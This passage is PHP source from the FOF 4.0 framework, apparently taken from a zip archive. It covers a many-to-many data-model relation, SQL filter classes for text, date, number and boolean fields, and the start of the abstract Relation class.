$localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { parent::__construct($parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); if (empty($localKey)) { $this->localKey = $parentModel->getIdFieldName(); } if (empty($pivotLocalKey)) { $this->pivotLocalKey = $this->localKey; } if (empty($foreignKey)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $this->foreignKey = $foreignModel->getIdFieldName(); } if (empty($pivotForeignKey)) { $this->pivotForeignKey = $this->foreignKey; } if (empty($pivotTable)) { // Get the local model's name (e.g. "users") $localName = $parentModel->getName(); $localName = strtolower($localName); // Get the foreign model's name (e.g. "groups") if (!isset($foreignModel)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); } $foreignName = $foreignModel->getName(); $foreignName = strtolower($foreignName); // Get the local model's app name $parentModelBareComponent = $parentModel->getContainer()->bareComponentName; $foreignModelBareComponent = $foreignModel->getContainer()->bareComponentName; // There are two possibilities for the table name: #__component_local_foreign or #__component_foreign_local. // There are also two possibilities for a component name (local or foreign model's) $db = $parentModel->getDbo(); $prefix = $db->getPrefix(); $tableNames = [ '#__' . strtolower($parentModelBareComponent) . '_' . $localName . '_' . $foreignName, '#__' . strtolower($parentModelBareComponent) . '_' . $foreignName . '_' . $localName, '#__' . strtolower($foreignModelBareComponent) . '_' . $localName . '_' . $foreignName, '#__' . strtolower($foreignModelBareComponent) . '_' . $foreignName . '_' . $localName, ]; $allTables = $db->getTableList(); $this->pivotTable = null; foreach ($tableNames as $tableName) { $checkName = $prefix . substr($tableName, 3); if (in_array($checkName, $allTables)) { $this->pivotTable = $tableName; } } if (empty($this->pivotTable)) { throw new DataModel\Relation\Exception\PivotTableNotFound("Pivot table for many-to-many relation between '$localName and '$foreignName' not found'"); } } } /** * Populates the internal $this->data collection from the contents of the provided collection. This is used by * DataModel to push the eager loaded data into each item's relation. * * @param DataModel\Collection $data The relation data to push into this relation * @param mixed $keyMap Passes around the local to foreign key map * * @return void */ public function setDataFromCollection(DataModel\Collection &$data, $keyMap = null) { $this->data = new DataModel\Collection(); if (!is_array($keyMap)) { return; } if (!empty($data)) { // Get the local key value $localKeyValue = $this->parentModel->getFieldValue($this->localKey); // Make sure this local key exists in the (cached) pivot table if (!isset($keyMap[$localKeyValue])) { return; } /** @var DataModel $item */ foreach ($data as $item) { // Only accept foreign items whose key is associated in the pivot table with our local key if (in_array($item->getFieldValue($this->foreignKey), $keyMap[$localKeyValue])) { $this->data->add($item); } } } } /** * Returns the count subquery for DataModel's has() and whereHas() methods. * * @param string $tableAlias The alias of the local table in the query. Leave blank to use the table's name. * * @return \JDatabaseQuery */ public function getCountSubquery($tableAlias = null) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $db = $foreignModel->getDbo(); if (empty($tableAlias)) { $tableAlias = $this->parentModel->getTableName(); } return $db->getQuery(true) ->select('COUNT(*)') ->from($db->qn($foreignModel->getTableName()) . ' AS ' . $db->qn('reltbl')) ->innerJoin( $db->qn($this->pivotTable) . ' AS ' . $db->qn('pivotTable') . ' ON(' . $db->qn('pivotTable') . '.' . $db->qn($this->pivotForeignKey) . ' = ' . $db->qn('reltbl') . '.' . $db->qn($foreignModel->getFieldAlias($this->foreignKey)) . ')' ) ->where( $db->qn('pivotTable') . '.' . $db->qn($this->pivotLocalKey) . ' =' . $db->qn($tableAlias) . '.' . $db->qn($this->parentModel->getFieldAlias($this->localKey)) ); } /** * Saves all related items. For many-to-many relations there are two things we have to do: * 1. Save all related items; and * 2. Overwrite the pivot table data with the new associations */ public function saveAll() { // Save all related items parent::saveAll(); $this->saveRelations(); } /** * Overwrite the pivot table data with the new associations */ public function saveRelations() { // Get all the new keys $newKeys = []; if ($this->data instanceof DataModel\Collection) { foreach ($this->data as $item) { if ($item instanceof DataModel) { $newKeys[] = $item->getId(); } elseif (!is_object($item)) { $newKeys[] = $item; } } } $newKeys = array_unique($newKeys); $db = $this->parentModel->getDbo(); $localKeyValue = $this->parentModel->getFieldValue($this->localKey); // Kill all existing relations in the pivot table $query = $db->getQuery(true) ->delete($db->qn($this->pivotTable)) ->where($db->qn($this->pivotLocalKey) . ' = ' . $db->q($localKeyValue)); $db->setQuery($query); $db->execute(); // Write the new relations to the database $protoQuery = $db->getQuery(true) ->insert($db->qn($this->pivotTable)) ->columns([$db->qn($this->pivotLocalKey), $db->qn($this->pivotForeignKey)]); $i = 0; $query = null; foreach ($newKeys as $key) { $i++; if (is_null($query)) { $query = clone $protoQuery; } $query->values($db->q($localKeyValue) . ', ' . $db->q($key)); if (($i % 50) == 0) { $db->setQuery($query); $db->execute(); $query = null; } } if (!is_null($query)) { $db->setQuery($query); $db->execute(); } } /** * This is not supported by the belongsTo relation * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ public function getNew() { throw new DataModel\Relation\Exception\NewNotSupported("getNew() is not supported for many-to-may relations. Please add/remove items from the relation data and use push() to effect changes."); } /** * Applies the relation filters to the foreign model when getData is called * * @param DataModel $foreignModel The foreign model you're operating on * @param DataModel\Collection $dataCollection If it's an eager loaded relation, the collection of loaded * parent records * * @return boolean Return false to force an empty data collection */ protected function filterForeignModel(DataModel $foreignModel, DataModel\Collection $dataCollection = null) { $db = $this->parentModel->getDbo(); // Decide how to proceed, based on eager or lazy loading if (is_object($dataCollection)) { // Eager loaded relation if (!empty($dataCollection)) { // Get a list of local keys from the collection $values = []; /** @var $item DataModel */ foreach ($dataCollection as $item) { $v = $item->getFieldValue($this->localKey, null); if (!is_null($v)) { $values[] = $v; } } // Keep only unique values $values = array_unique($values); $values = array_map(function ($x) use (&$db) { return $db->q($x); }, $values); // Get the foreign keys from the glue table $query = $db->getQuery(true) ->select([$db->qn($this->pivotLocalKey), $db->qn($this->pivotForeignKey)]) ->from($db->qn($this->pivotTable)) ->where($db->qn($this->pivotLocalKey) . ' IN(' . implode(',', $values) . ')'); $db->setQuery($query); $foreignKeysUnmapped = $db->loadRowList(); $this->foreignKeyMap = []; $foreignKeys = []; foreach ($foreignKeysUnmapped as $unmapped) { $local = $unmapped[0]; $foreign = $unmapped[1]; if (!isset($this->foreignKeyMap[$local])) { $this->foreignKeyMap[$local] = []; } $this->foreignKeyMap[$local][] = $foreign; $foreignKeys[] = $foreign; } // Keep only unique values. However, the array keys are all screwed up. See below. $foreignKeys = array_unique($foreignKeys); // This looks stupid, but it's required to reset the array keys. Without it where() below fails. $foreignKeys = array_merge($foreignKeys); // Apply the filter if (!empty($foreignKeys)) { $foreignModel->where($this->foreignKey, 'in', $foreignKeys); } else { return false; } } else { return false; } } else { // Lazy loaded relation; get the single local key $localKey = $this->parentModel->getFieldValue($this->localKey, null); if (is_null($localKey) || ($localKey === '')) { return false; } $query = $db->getQuery(true) ->select($db->qn($this->pivotForeignKey)) ->from($db->qn($this->pivotTable)) ->where($db->qn($this->pivotLocalKey) . ' = ' . $db->q($localKey)); $db->setQuery($query); $foreignKeys = $db->loadColumn(); $this->foreignKeyMap[$localKey] = $foreignKeys; // If there are no foreign keys (no foreign items assigned to our item) we return false which then causes // the relation to return null, marking the lack of data. if (empty($foreignKeys)) { return false; } $foreignModel->where($this->foreignKey, 'in', $this->foreignKeyMap[$localKey]); } return true; } } PK���\8f�z<&<&/fof40/Model/DataModel/Filter/AbstractFilter.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter; defined('_JEXEC') || die; use FOF40\Model\DataModel\Filter\Exception\InvalidFieldObject; use FOF40\Model\DataModel\Filter\Exception\NoDatabaseObject; abstract class AbstractFilter { /** * The null value for this type * * @var mixed */ public $null_value; protected $db; /** * The column name of the table field * * @var string */ protected $name = ''; /** * The column type of the table field * * @var string */ protected $type = ''; /** * Should I allow filtering against the number 0? * * @var bool */ protected $filterZero = true; /** * Prefix each table name with this table alias. For example, field bar normally creates a WHERE clause: * `bar` = '1' * If tableAlias is set to "foo" then the WHERE clause it generates becomes * `foo`.`bar` = '1' * * @var null */ protected $tableAlias; /** * Constructor * * @param \JDatabaseDriver $db The database object * @param object $field The field information as taken from the db */ public function __construct($db, $field) { $this->db = $db; if (!is_object($field) || !isset($field->name) || !isset($field->type)) { throw new InvalidFieldObject; } $this->name = $field->name; $this->type = $field->type; if (isset ($field->filterZero)) { $this->filterZero = $field->filterZero; } if (isset ($field->tableAlias)) { $this->tableAlias = $field->tableAlias; } } /** * Creates a field Object based on the field column type * * @param object $field The field information * @param array $config The field configuration (like the db object to use) * * @return AbstractFilter The Filter object * * @throws \InvalidArgumentException */ public static function getField($field, $config = []) { if (!is_object($field) || !isset($field->name) || !isset($field->type)) { throw new InvalidFieldObject; } $type = $field->type; $classType = self::getFieldType($type); $className = '\\FOF40\\Model\\DataModel\\Filter\\' . ucfirst($classType); if (($classType !== false) && class_exists($className, true)) { if (!isset($config['dbo'])) { throw new NoDatabaseObject($className); } $db = $config['dbo']; return new $className($db, $field); } return null; } /** * Get the class name based on the field Type * * @param string $type The type of the field * * @return string the class name suffix */ public static function getFieldType($type) { // Remove parentheses, indicating field options / size (they don't matter in type detection) if (!empty($type)) { [$type,] = explode('(', $type); } $detectedType = null; switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'character varying': case 'nvarchar': case 'nchar': $detectedType = 'Text'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': case 'timestamp without time zone': case 'timestamp with time zone': $detectedType = 'Date'; break; case 'tinyint': case 'smallint': $detectedType = 'Boolean'; break; } // Sometimes we have character types followed by a space and some cruft. Let's handle them. if (is_null($detectedType) && !empty($type)) { [$type,] = explode(' ', $type); switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'nvarchar': case 'nchar': $detectedType = 'Text'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': $detectedType = 'Date'; break; case 'tinyint': case 'smallint': $detectedType = 'Boolean'; break; default: $detectedType = 'Number'; break; } } // If all else fails assume it's a Number and hope for the best if (empty($detectedType)) { $detectedType = 'Number'; } return $detectedType; } /** * Is it a null or otherwise empty value? * * @param mixed $value The value to test for emptiness * * @return boolean */ public function isEmpty($value) { return (($value === $this->null_value) || empty($value)) && !($this->filterZero && ($value === "0")); } /** * Returns the default search method for a field. This always returns 'exact' * and you are supposed to override it in specialised classes. The possible * values are exact, partial, between and outside, unless something * different is returned by getSearchMethods(). * * @return string * @see self::getSearchMethods() * */ public function getDefaultSearchMethod() { return 'exact'; } /** * Return the search methods available for this field class, * * @return array */ public function getSearchMethods() { $ignore = [ 'isEmpty', 'getField', 'getFieldType', '__construct', 'getDefaultSearchMethod', 'getSearchMethods', 'getFieldName', ]; $class = new \ReflectionClass(__CLASS__); $methods = $class->getMethods(\ReflectionMethod::IS_PUBLIC); $tmp = []; foreach ($methods as $method) { $tmp[] = $method->name; } $methods = $tmp; if ($methods = array_diff($methods, $ignore)) { return $methods; } return []; } /** * Perform an exact match (equality matching) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function exact($value) { if ($this->isEmpty($value)) { return ''; } if (is_array($value)) { $db = $this->db; $value = array_map([$db, 'quote'], $value); return '(' . $this->getFieldName() . ' IN (' . implode(',', $value) . '))'; } else { return $this->search($value); } } /** * Perform a partial match (usually: search in string) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ abstract public function partial($value); /** * Perform a between limits match (usually: search for a value between * two numbers or a date between two preset dates). When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ abstract public function between($from, $to, $include = true); /** * Perform an outside limits match (usually: search for a value outside an * area or a date outside a preset period). When $include is true * the condition tested is: * (VALUE <= $from) || (VALUE >= $to) * When $include is false the condition tested is: * (VALUE < $from) || (VALUE > $to) * * @param mixed $from The lowest value of the excluded range * @param mixed $to The highest value of the excluded range * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ abstract public function outside($from, $to, $include = false); /** * Perform an interval search (usually: a date interval check) * * @param string $from The value to search * @param string|array|object $interval The interval * * @return string The SQL where clause for this search */ abstract public function interval($from, $interval); /** * Perform a between limits match (usually: search for a value between * two numbers or a date between two preset dates). When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The higherst value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ abstract public function range($from, $to, $include = true); /** * Perform an modulo search * * @param integer|float $from The starting value of the search space * @param integer|float $interval The interval period of the search space * @param boolean $include Should I include the boundaries in the search? * * @return string The SQL where clause */ abstract public function modulo($from, $interval, $include = true); /** * Return the SQL where clause for a search * * @param mixed $value The value to search for * @param string $operator The operator to use * * @return string The SQL where clause for this search */ public function search($value, $operator = '=') { if ($this->isEmpty($value)) { return ''; } $prefix = ''; if (substr($operator, 0, 1) == '!') { $prefix = 'NOT '; $operator = substr($operator, 1); } return $prefix . '(' . $this->getFieldName() . ' ' . $operator . ' ' . $this->db->quote($value) . ')'; } /** * Get the field name * * @return string The field name */ public function getFieldName() { $name = $this->db->qn($this->name); if (!empty($this->tableAlias)) { $name = $this->db->qn($this->tableAlias) . '.' . $name; } return $name; } } PK���\V�����%fof40/Model/DataModel/Filter/Text.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter; defined('_JEXEC') || die; class Text extends AbstractFilter { /** * Constructor * * @param \JDatabaseDriver $db The database object * @param object $field The field information as taken from the db */ public function __construct($db, $field) { parent::__construct($db, $field); $this->null_value = ''; } /** * Returns the default search method for this field. * * @return string */ public function getDefaultSearchMethod() { return 'partial'; } /** * Perform a partial match (search in string) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function partial($value) { if ($this->isEmpty($value)) { return ''; } return '(' . $this->getFieldName() . ' LIKE ' . $this->db->quote('%' . $value . '%') . ')'; } /** * Perform an exact match (match string) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function exact($value) { if ($this->isEmpty($value)) { return ''; } if (is_array($value) || is_object($value)) { $value = (array) $value; $db = $this->db; $value = array_map([$db, 'quote'], $value); return '(' . $this->getFieldName() . ' IN (' . implode(',', $value) . '))'; } return '(' . $this->getFieldName() . ' LIKE ' . $this->db->quote($value) . ')'; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $to Ignored * @param boolean $include Ignored * * @return string Empty string */ public function between($from, $to, $include = true) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $to Ignored * @param boolean $include Ignored * * @return string Empty string */ public function outside($from, $to, $include = false) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $value Ignored * @param mixed $interval Ignored * @param boolean $include Ignored * * @return string Empty string */ public function interval($value, $interval, $include = true) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $to Ignored * @param boolean $include Ignored * * @return string Empty string */ public function range($from, $to, $include = false) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $interval Ignored * @param boolean $include Ignored * * @return string Empty string */ public function modulo($from, $interval, $include = false) { return ''; } } PK���\�7�@��%fof40/Model/DataModel/Filter/Date.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter; defined('_JEXEC') || die; class Date extends Text { /** * Returns the default search method for this field. * * @return string */ public function getDefaultSearchMethod() { return 'exact'; } /** * Perform a between limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function between($from, $to, $include = true) { if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = '((' . $this->getFieldName() . ' >' . $extra . ' ' . $this->db->q($from) . ') AND '; return $sql . ('(' . $this->getFieldName() . ' <' . $extra . ' ' . $this->db->q($to) . '))'); } /** * Perform an outside limits match. When $include is true * the condition tested is: * (VALUE <= $from) || (VALUE >= $to) * When $include is false the condition tested is: * (VALUE < $from) || (VALUE > $to) * * @param mixed $from The lowest value of the excluded range * @param mixed $to The highest value of the excluded range * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function outside($from, $to, $include = false) { if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = '((' . $this->getFieldName() . ' <' . $extra . ' ' . $this->db->q($from) . ') AND '; return $sql . ('(' . $this->getFieldName() . ' >' . $extra . ' ' . $this->db->q($to) . '))'); } /** * Interval date search * * @param string $value The value to search * @param string|array|object $interval The interval. Can be (+1 MONTH or array('value' => 1, 'unit' => * 'MONTH', 'sign' => '+')) * @param boolean $include If the borders should be included * * @return string the sql string */ public function interval($value, $interval, $include = true) { if ($this->isEmpty($value) || $this->isEmpty($interval)) { return ''; } $interval = $this->getInterval($interval); // Sanity check on $interval array if (!isset($interval['sign']) || !isset($interval['value']) || !isset($interval['unit'])) { return ''; } $function = $interval['sign'] == '+' ? 'DATE_ADD' : 'DATE_SUB'; $extra = ''; if ($include) { $extra = '='; } $sql = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $function; return $sql . ('(' . $this->getFieldName() . ', INTERVAL ' . $interval['value'] . ' ' . $interval['unit'] . '))'); } /** * Perform a between limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function range($from, $to, $include = true) { if ($this->isEmpty($from) && $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = []; if ($from) { $sql[] = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $this->db->q($from) . ')'; } if ($to) { $sql[] = '(' . $this->getFieldName() . ' <' . $extra . ' ' . $this->db->q($to) . ')'; } return '(' . implode(' AND ', $sql) . ')'; } /** * Parses an interval –which may be given as a string, array or object– into * a standardised hash array that can then be used bu the interval() method. * * @param string|array|object $interval The interval expression to parse * * @return array The parsed, hash array form of the interval */ protected function getInterval($interval) { if (is_string($interval)) { if (strlen($interval) > 2) { $interval = explode(" ", $interval); $sign = ($interval[0] == '-') ? '-' : '+'; $value = (int) substr($interval[0], 1); $interval = [ 'unit' => $interval[1], 'value' => $value, 'sign' => $sign, ]; } else { $interval = [ 'unit' => 'MONTH', 'value' => 1, 'sign' => '+', ]; } } else { $interval = (array) $interval; } return $interval; } } PK���\|�����)fof40/Model/DataModel/Filter/Relation.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter; defined('_JEXEC') || die; class Relation extends Number { /** @var \JDatabaseQuery The COUNT subquery to filter by */ protected $subQuery; public function __construct($db, $relationName, $subQuery) { $field = (object)array( 'name' => $relationName, 'type' => 'relation', ); parent::__construct($db, $field); $this->subQuery = $subQuery; } public function callback($value) { return call_user_func($value, $this->subQuery); } public function getFieldName() { return '(' . $this->subQuery . ')'; } } PK���\R�A���(fof40/Model/DataModel/Filter/Boolean.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter; defined('_JEXEC') || die; class Boolean extends Number { /** * Is it a null or otherwise empty value? * * @param mixed $value The value to test for emptiness * * @return bool */ public function isEmpty($value) { return is_null($value) || ($value === ''); } } PK���\���[[=fof40/Model/DataModel/Filter/Exception/InvalidFieldObject.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class InvalidFieldObject extends \InvalidArgumentException { public function __construct( $message = "", $code = 500, Exception $previous = null ) { if (empty($message)) { $message = Text::_('LIB_FOF40_MODEL_ERR_FILTER_INVALIDFIELD'); } parent::__construct( $message, $code, $previous ); } } PK���\T�*!FF;fof40/Model/DataModel/Filter/Exception/NoDatabaseObject.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class NoDatabaseObject extends \InvalidArgumentException { public function __construct( $fieldType, $code = 500, Exception $previous = null ) { $message = Text::sprintf('LIB_FOF40_MODEL_ERR_FILTER_NODBOBJECT', $fieldType); parent::__construct( $message, $code, $previous ); } } PK���\��μ��'fof40/Model/DataModel/Filter/Number.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Filter; defined('_JEXEC') || die; class Number extends AbstractFilter { /** * The partial match is mapped to an exact match * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function partial($value) { return $this->exact($value); } /** * Perform a between limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function between($from, $to, $include = true) { $from = (float) $from; $to = (float) $to; if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $from = $this->sanitiseValue($from); $to = $this->sanitiseValue($to); $sql = '((' . $this->getFieldName() . ' >' . $extra . ' ' . $from . ') AND '; return $sql . ('(' . $this->getFieldName() . ' <' . $extra . ' ' . $to . '))'); } /** * Perform an outside limits match. When $include is true * the condition tested is: * (VALUE <= $from) || (VALUE >= $to) * When $include is false the condition tested is: * (VALUE < $from) || (VALUE > $to) * * @param mixed $from The lowest value of the excluded range * @param mixed $to The highest value of the excluded range * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function outside($from, $to, $include = false) { $from = (float) $from; $to = (float) $to; if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $from = $this->sanitiseValue($from); $to = $this->sanitiseValue($to); $sql = '((' . $this->getFieldName() . ' <' . $extra . ' ' . $from . ') OR '; return $sql . ('(' . $this->getFieldName() . ' >' . $extra . ' ' . $to . '))'); } /** * Perform an interval match. It's similar to a 'between' match, but the * from and to values are calculated based on $value and $interval: * $value - $interval < VALUE < $value + $interval * * @param integer|float $value The center value of the search space * @param integer|float $interval The width of the search space * @param boolean $include Should I include the boundaries in the search? * * @return string The SQL where clause */ public function interval($value, $interval, $include = true) { if ($this->isEmpty($value)) { return ''; } // Convert them to float, just to be sure $value = (float) $value; $interval = (float) $interval; $from = $value - $interval; $to = $value + $interval; $extra = ''; if ($include) { $extra = '='; } $from = $this->sanitiseValue($from); $to = $this->sanitiseValue($to); $sql = '((' . $this->getFieldName() . ' >' . $extra . ' ' . $from . ') AND '; return $sql . ('(' . $this->getFieldName() . ' <' . $extra . ' ' . $to . '))'); } /** * Perform a range limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function range($from, $to, $include = true) { if ($this->isEmpty($from) && $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = []; if ($from) { $sql[] = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $from . ')'; } if ($to) { $sql[] = '(' . $this->getFieldName() . ' <' . $extra . ' ' . $to . ')'; } return '(' . implode(' AND ', $sql) . ')'; } /** * Perform an interval match. It's similar to a 'between' match, but the * from and to values are calculated based on $value and $interval: * $value - $interval < VALUE < $value + $interval * * @param integer|float $value The starting value of the search space * @param integer|float $interval The interval period of the search space * @param boolean $include Should I include the boundaries in the search? * * @return string The SQL where clause */ public function modulo($value, $interval, $include = true) { if ($this->isEmpty($value) || $this->isEmpty($interval)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $value . ' AND '; return $sql . ('(' . $this->getFieldName() . ' - ' . $value . ') % ' . $interval . ' = 0)'); } /** * Overrides the parent to handle floats in locales where the decimal separator is a comma instead of a dot * * @param mixed $value * @param string $operator * * @return string */ public function search($value, $operator = '=') { $value = $this->sanitiseValue($value); return parent::search($value, $operator); } /** * Sanitises float values. Really ugly and desperate workaround. Read below. * * Some locales, such as el-GR, use a comma as the decimal separator. This means that $x = 1.23; echo (string) $x; * will yield 1,23 (with a comma!) instead of 1.23 (with a dot!). This affects the way the SQL WHERE clauses are * generated. All database servers expect a dot as the decimal separator. If they see a decimal with a comma as the * separator they throw a SQL error. * * This method will try to replace commas with dots. I tried working around this with locale switching and the %F * (capital F) format option in sprintf to no avail. I'm pretty sure I was doing something wrong, but I ran out of * time trying to find an academically correct solution. The current implementation of sanitiseValue is a silly * hack around the problem. If you have a proper –and better performing– solution please send in a PR and I'll put * it to the test. * * @param mixed $value A string representing a number, integer, float or array of them. * * @return mixed The sanitised value, or null if the input wasn't numeric. */ public function sanitiseValue($value) { if (!is_numeric($value) && !is_string($value) && !is_array($value)) { $value = null; } if (!is_array($value)) { return str_replace(',', '.', (string) $value); } return array_map([$this, 'sanitiseValue'], $value); } } PK���\��U�U U "fof40/Model/DataModel/Relation.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Model\DataModel; abstract class Relation { /** @var DataModel The data model we are attached to */ protected $parentModel; /** @var string The class name of the foreign key's model */ protected $foreignModelClass; /** @var string The application name of the foreign model */ protected $foreignModelComponent; /** @var string The bade name of the foreign model */ protected $foreignModelName; /** @var string The local table key for this relation */ protected $localKey; /** @var string The foreign table key for this relation */ protected $foreignKey; /** @var null For many-to-many relations, the pivot (glue) table */ protected $pivotTable; /** @var null For many-to-many relations, the pivot table's column storing the local key */ protected $pivotLocalKey; /** @var null For many-to-many relations, the pivot table's column storing the foreign key */ protected $pivotForeignKey; /** @var Collection The data loaded by this relation */ protected $data; /** @var array Maps each local table key to an array of foreign table keys, used in many-to-many relations */ protected $foreignKeyMap = []; /** @var Container The component container for this relation */ protected $container; /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation * @param string $foreignKey The foreign key for this relation * @param string $pivotTable For many-to-many relations, the pivot (glue) table * @param string $pivotLocalKey For many-to-many relations, the pivot table's column storing the local * key * @param string $pivotForeignKey For many-to-many relations, the pivot table's column storing the foreign * key */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { $this->parentModel = $parentModel; $this->foreignModelClass = $foreignModelName; $this->localKey = $localKey; $this->foreignKey = $foreignKey; $this->pivotTable = $pivotTable; $this->pivotLocalKey = $pivotLocalKey; $this->pivotForeignKey = $pivotForeignKey; $this->container = $parentModel->getContainer(); $class = $foreignModelName; if (strpos($class, '@') === false) { $this->foreignModelComponent = null; $this->foreignModelName = $class; } else { $foreignParts = explode('@', $class, 2); $this->foreignModelComponent = $foreignParts[1]; $this->foreignModelName = $foreignParts[0]; } } /** * Reset the relation data * * @return $this For chaining */ public function reset() { $this->data = null; $this->foreignKeyMap = []; return $this; } /** * Rebase the relation to a different model * * @param DataModel $model * * @return $this For chaining */ public function rebase(DataModel $model) { $this->parentModel = $model; return $this->reset(); } /** * Get the relation data. * * If you want to apply additional filtering to the foreign model, use the $callback. It can be any function, * static method, public method or closure with an interface of function(DataModel $foreignModel). You are not * supposed to return anything, just modify $foreignModel's state directly. For example, you may want to do: * $foreignModel->setState('foo', 'bar') * * @param callable $callback The callback to run on the remote model. * @param Collection $dataCollection * * @return Collection|DataModel */ public function getData($callback = null, Collection $dataCollection = null) { if (is_null($this->data)) { // Initialise $this->data = new Collection(); // Get a model instance $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $filtered = $this->filterForeignModel($foreignModel, $dataCollection); if (!$filtered) { return $this->data; } // Apply the callback, if applicable if (!is_null($callback) && is_callable($callback)) { call_user_func($callback, $foreignModel); } // Get the list of items from the foreign model and cache in $this->data $this->data = $foreignModel->get(true); } return $this->data; } /** * Populates the internal $this->data collection from the contents of the provided collection. This is used by * 